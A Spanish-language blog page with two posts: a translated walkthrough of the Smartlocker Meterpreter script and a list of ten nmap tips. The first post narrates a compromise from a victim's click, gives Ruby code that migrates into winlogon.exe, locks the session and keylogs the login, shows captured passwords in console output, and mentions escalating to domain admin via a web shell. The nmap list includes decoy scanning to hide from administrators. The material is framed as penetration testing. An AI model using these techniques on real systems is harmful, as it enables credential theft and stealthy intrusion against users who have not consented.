lunes, 13 de diciembre de 2010

Capturando contraseñas Windows con Smartlocker

En muchas ocasiones, al realizar un test de penetración, es bastante dificil hacer el trabajo con cierta sutileza. Una de las formas mas eficaces de obtener contraseñas de usuario en texto claro en una máquina Windows que ya tenemos comprometida es a través del script de Meterpreter "keylogrecorder". Este script permite migrar hacia el proceso winlogon.exe, iniciar la captura de pulsaciones de teclado y luego bloquear la sesión del usuario (con la opción -k).

Cuando el usuario introduce de nuevo su contraseña para desbloquear la sesión, esta contraseña es capturada. Este método, aunque es al mismo tiempo divertido y eficaz, puede levantar sospechas injustificadas, especialmente cuando se realiza en varias máquinas al mismo tiempo. Una técnica que nos puede ser mas eficiente consiste en esperar un tiempo predeterminado de inactividad antes de bloquear la sesión Windows (tal como lo hace un protector de pantalla).

Aquí es donde viene Smartlocker. Smartlocker es un script de Meterpreter similar a keylogrecorder (parte del código se ha copiado incluso directamente de éste último). Pero, a diferencia de keylogrecorder, Smartlocker está diseñado para usar un procedimiento mas sigiloso a la hora de obtener la contraseña del usuario. A diferencia de keylogrecorder, Smartlocker se centra únicamente en la obtención de contraseñas de winlogon.exe. Desde winlogon sólo se capturan las pulsaciones que ocurren cuando se produce un inicio de sesión en Windows, el archivo de registro resultante sólo contendrá el nombre de usuario y contraseña.

Smartlocker abordó tres deficiencias existentes en keylogrecorder al capturar las credenciales de inicio de sesión.

  1. Si hay dos procesos winlogon.exe corriendo en el sistema, keylogrecorder migrará hacia uno y luego hacia el otro, muchas veces hasta que de una u otra forma ocasiona que las sesiones de meterpreter mueran o queden inutilizables. Aunque este es un caso aislado, es común encontrarlo durante las actividades de pruebas de penetración, y es algo que será abordado en una próxima revisión de keylogrecorder. El otro problema ocurre cuando hay dos procesos winlogon.exe en ejecución y no es posible tener certeza de cual de los procesos permitirá la captura la contraseña del usuario activo.
  2.  
  3. El usuario se bloquea inmediatamente al utilizar la opción "-k". Aunque al 80% de los usuarios finales esto no les parezca extraño, sin duda esto se destacará como un comportamiento anormal. Esta conducta sería aun mas sospechosa si el usuario acaba de abri un archivo adjunto o si ha buscado algo que no debería. El pedazo extra de "rareza"puede empujarlos a hacer una llamada al departamento de soporte, lo que no es bueno.
  4.  
  5. Es necesario realizar varios saltos (hoops) para identificar cuando el usuario ha iniciado una nueva sesión en Windows. Una forma de hacerlo es a través de capturas de pantalla, pero esto es un proceso manual y consume demasiado tiempo. El tiempo de inactividad es también un marcador imperfecto ya que es posible que el usuario pueda mover el mouse por accidente. 

Smartlocker hace lo mejor para resolver estos problemas.

Caso Ejemplo:

Juan Perez es un diseñador gráfico que trabaja para la compañía ACME. Ha hecho un click sobre nuestro enlace y muy amablemente nos ha permitido obtener una sesion reversa de Meterpreter. Hemos estado mirando dentro del sistema de Juan y no encontramos nada de nuestro interés, excepto que ahora sabemos que Juan es un usuario administrador en el servidor local MS SharePoint. El servicio SMB no está corriendo, así que decidiremos ir detras del SharePoint y para esta tarea necesitaremos la contraseña de Juan. Pero Juan es inteligente (o pensábamos que lo era antes de que hiciera click en ese enlace no?), su contraseña es de 25 caracteres, por lo que es difícil de romperla utilizando el valor hash del caché MS.

Las opciones de Smartlocker son:

Usage:
OPTIONS:

-b Frecuencia de verificación de inactividad. El default son 30 segundos.

-h Ayuda.

-i Tiempo de inactividad a esperar antes de bloquear la sesión automáticamente. El default son 300 segundos (5 minutos).

-p PID del objetivo - utilizado cuando hay múltiples sesiones Winlogon presentes.

-t Intervalo de tiempo en segundos entre cada recolección de pulsaciones del teclado, el default son 30 segundos.


Un chequeo rápido para verificar si la máquina de Juan está configurada para bloquearse de forma automática:

meterpreter > getuid
Server username: ACME\jperez
meterpreter > reg queryval -k "HKCU\\Control Panel\\Desktop" -v ScreenSaverIsSecure
Key: HKCU\Control Panel\Desktop
Name: ScreenSaverIsSecure
Type: REG_SZ
Data: 0

No lo está, por lo que vamos a utilizar la configuración por defecto de Smartlocker, el cual utiliza tiene un enfoque basado en el tiempo. El script verifica si la cuenta del usuario objetivo es un administrador y si es así, busca todos los procesos winlogon que se ejecutan en la máquina de Juan. Dado que sólo hay uno, Smartlocker migra automáticamente a este proceso y comienza a recolectar las pulsaciones de teclado.

El siguiente código levanta los tiempos de inactividad de la máquina de Juan de acuerdo a la frecuencia definida en el parámetro "-b" ($heartbeat)  hasta que el tiempo de inactividad actual alcance el umbral definido por el parámetro "-i" ($idletime) y entonces fuerza el bloqueo de la sesión de Juan:

currentidle = session.ui.idle_time
print_status("System has currently been idle for #{currentidle} seconds")
while currentidle <= idletime do         
 print_status("Current Idletime: #{currentidle} seconds")
 sleep(heartbeat)         
 currentidle = session.ui.idle_time     
end     
client.railgun.user32.LockWorkStation()

Aquí es donde, básicamente, sólo se ejecuta el código del keylogger, jalando las pulsaciones del teclado de la memoria cada $heartbeat segundos. Sin embargo, la parte divertida es que antes de reanudar la captura de pulsaciones, realiza una verificación para ver si el usuario ha iniciado una nueva sesión.

GetForegroundWindow es una llamada a una API de Windows que se utiliza a través de railgun que aplica a un proceso específico, y en el caso de winlogon, es distinto de cero cada vez que el la sesión está bloqueado o ha sido cerrada. Así que una muy simple declaración IF detiene el keylogger automáticamente cuando ya ha logrado su objetivo.

still_locked = client.railgun.user32.GetForegroundWindow()['return']
 if still_locked == 0
  print_status("They  logged back in! Money time!")
  raise 'win'\
 end
 sleep(keytime.to_i)
end
rescue::Exception => e
 if e.message != 'win'
  print("\n")
  print_status("#{e.class} #{e}")
 end
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop

Este es el script en acción en la máquina de Juan, incluso se puede ver que el tiempo de inactividad disminuyó a 12, cuando Juan movió el mouse:

meterpreter > run smartlocker
[*] Found WINLOGON at PID:644
[*] Migrating from PID:2532
[*] Migrated to WINLOGON PID: 644 successfully
[*] System has currently been idle for 12 seconds
[*] Current Idletime: 12 seconds
[*] Current Idletime: 42 seconds
[*] Current Idletime: 73 seconds
[*] Current Idletime: 12 seconds
[*] Current Idletime: 42 seconds
[*] Current Idletime: 72 seconds
[*] Current Idletime: 103 seconds
[*] Current Idletime: 133 seconds
[*] Current Idletime: 164 seconds
[*] Current Idletime: 194 seconds
[*] Current Idletime: 224 seconds
[*] Current Idletime: 255 seconds
[*] Current Idletime: 285 seconds
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
design4life$uper12#07#76!

Ahora, con la contraseña de Juan podemos iniciar sesión en el servidor de SharePoint, obtener una shell web ASP, enganchar la base de datos local MS SQL con las contraseñas en texto plano halladas en la máquina y tener un binario de Meterpreter corriendo en el servidor SharePoint [1].


Ahora ejecutamos Smartlocker de nuevo y esta vez se identifican varias instancias de winlogon en ejecución, probablemente porque alguien está utilizando Remote Desktop para acceder a este sistema. Algo para tener presente es que, para cada instancia de winlogon, 0 es siempre es la consola base y cualquier otro número es algún tipo de conexión remota. El ID de sesión no es algo que obtendremos con el comando "ps"de Meterpreter asi que debemos tener presente cual va a ser el PID objetivo.
 
Nota rápida: 
Cualquier sistema Windows que se encuentre configurado para permitir únicamente una "sesión" activa tal como Windows XP, Vista o Windows 7, grabará realmente las pulsaciones del login en la Sesión 0, sin importar que este sistema cree nuavas instancias de winlogon, a diferencia de sistemas con servicios de terminal como Windows 2000/2003/2008, las pulsaciones son procesadas para cada proceso winlogon respectivo a cada sesión identificada.

meterpreter > run smartlocker
[-] Multiple WINLOGON processes found, run manually and specify pid
[-] Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session
[*] Winlogon.exe - PID: 892 - Session: 0
[*] Winlogon.exe - PID: 415 - Session: 3

Utilizando la opción "-p" con "415" como el PID de la instancia winlogon objetivo (es un servidor Windows 2008), ejecutamos Smartlocker de nuevo, y utilizamos la opción "-w" para que solo sea esperar que el usuario/administrador bloquee su sesión en lugar de bloquearla por el.

meterpreter > run smartlocker -p 415 -w
[*] WINLOGON PID:415 specified. I'm trusting you..
[*] Migrating from PID:1788
[*] Migrated to WINLOGON PID: 415 successfully
[*] Waiting for user to lock their session out
[*] Session has been locked out
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
M@sterD0mainAdm!n221
msf >

Ya con esto tendremos el administrador de dominio sino que también, obtendremos la contraseña en texto claro.

Este artículo ha sido traducido del artículo original publicado en http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html

domingo, 5 de diciembre de 2010

10 Tips y Tricks para NMAP

Nmap (“Network Mapper”) es una herramienta libre y con licencia open source utilizada para explorar la red o realizar auditorías de seguridad. Muchos sistemas y administradores de red la encuentran útil también para tareas tales como inventario de la red, administrar horarios de actualizaciones y monitorear tiempos de actividad de servicios o máquinas. 

1. Obtener información sobre puertos y detección del sistema operativo de un sistema o host.

nmap -sS -P0 -sV -O < objetivo >

Donde < objetivo > puede ser una dirección IP simple, un nombre de máquina o una dirección de red.
-sS exploración TCP SYN (conocida también como medio-abierta, o análisis sigiloso)
-P0 opción que nos permite desactivar los pings ICMP.
-sV opción que habilita la detección de versión del sistema operativo
-O
es una bandera que intenta identificar el sistema operativo remoto

Otras opciones:
-A habilita la detección tanto del sistema operativo como de la versión
-v al utilizar el parámetro -v dos veces obtendremos mayor detalle del análisis (verbosity).


2. Obtener una lista de servidores con un puerto específico abierto

nmap -sT -p 80 -oG – 192.168.1.* | grep open

Podemos cambiar el valor del parámetro  -p para definir el número del puerto a buscar. Busquemos en “man nmap” las diferentes formas de especificar rangos de direcciones.


3. Encontrar todas las direcciones IP activas en la red

nmap -sP 192.168.0.*

Existen muchas otras opciones. Esta es ligera y simple.

Otra opción es:
nmap -sP 192.168.0.0/24
para direcciones específicas.


4. Ping a un rango de direcciones IP

nmap -sP 192.168.1.100-254

nmap accepta una amplia variedad de notaciones de direccionamiento, múltiples objetivos/rangos, etc.


5. Encontrar direcciones IP no utilizadas en una red definida

nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp


6. Explorar en búsqueda del virus Conficker en la red LAN

nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254

Podemos reemplazar el rango 192.168.0.1-254 con el rango de la red que queremos verificar.


7. Explorar la red en búsqueda de AP's falsos (Rogue AP's)

nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/8

Esta técnica es bastante efectiva para encontrar de forma exitosa muchos puntos de acceso Wi-Fi falsos en redes muy grandes.


8. Utilizar un señuelo mientras se analizan los puertos para evitar ser detectados por el sysadmin

nmap -sS 192.168.0.10 -D 192.168.0.2

Explora en búsqueda de puertos abiertos en la máquina (192.168.0.10) mientras establece una dirección señuelo (192.168.0.2). Esto mostrará la dirección señuelo en lugar de nuestra dirección real en los registros de seguridad del objetivo. La dirección señuelo debe ser de una máquina activa. Verifiquemos los registros de seguridad del objetivo en /var/log/secure para asegurarnos que funciona.


9. Lista de registros reversos DNS para una red específica

nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘ 

Este comando utiliza nmap para realizar búsquedas reversas de DNS en una red. Produce una lista de direcciones IP con el registro PTR correspondiente para una red específica. Podemos ingresar la direccione de la red en notación CDIR (Por ejemplo, /24 para una red clase C). Podemos agregar “–dns-servers x.x.x.x” después de los argumentos “-sL” si se requiere que las búsquedas se realicen para un servidor DNS específico.


10. Cuantos dispositivos Linux y Windows hay en la red?

nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os | grep Linux | wc -l) Linux device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) devices”

Probablemente se requieran privilegios de root para ejecutar esta exploración.
Recordemos no practicar estas técnicas en redes o máquinas que no nos pertenecen o a las cuales no tenemos autorización.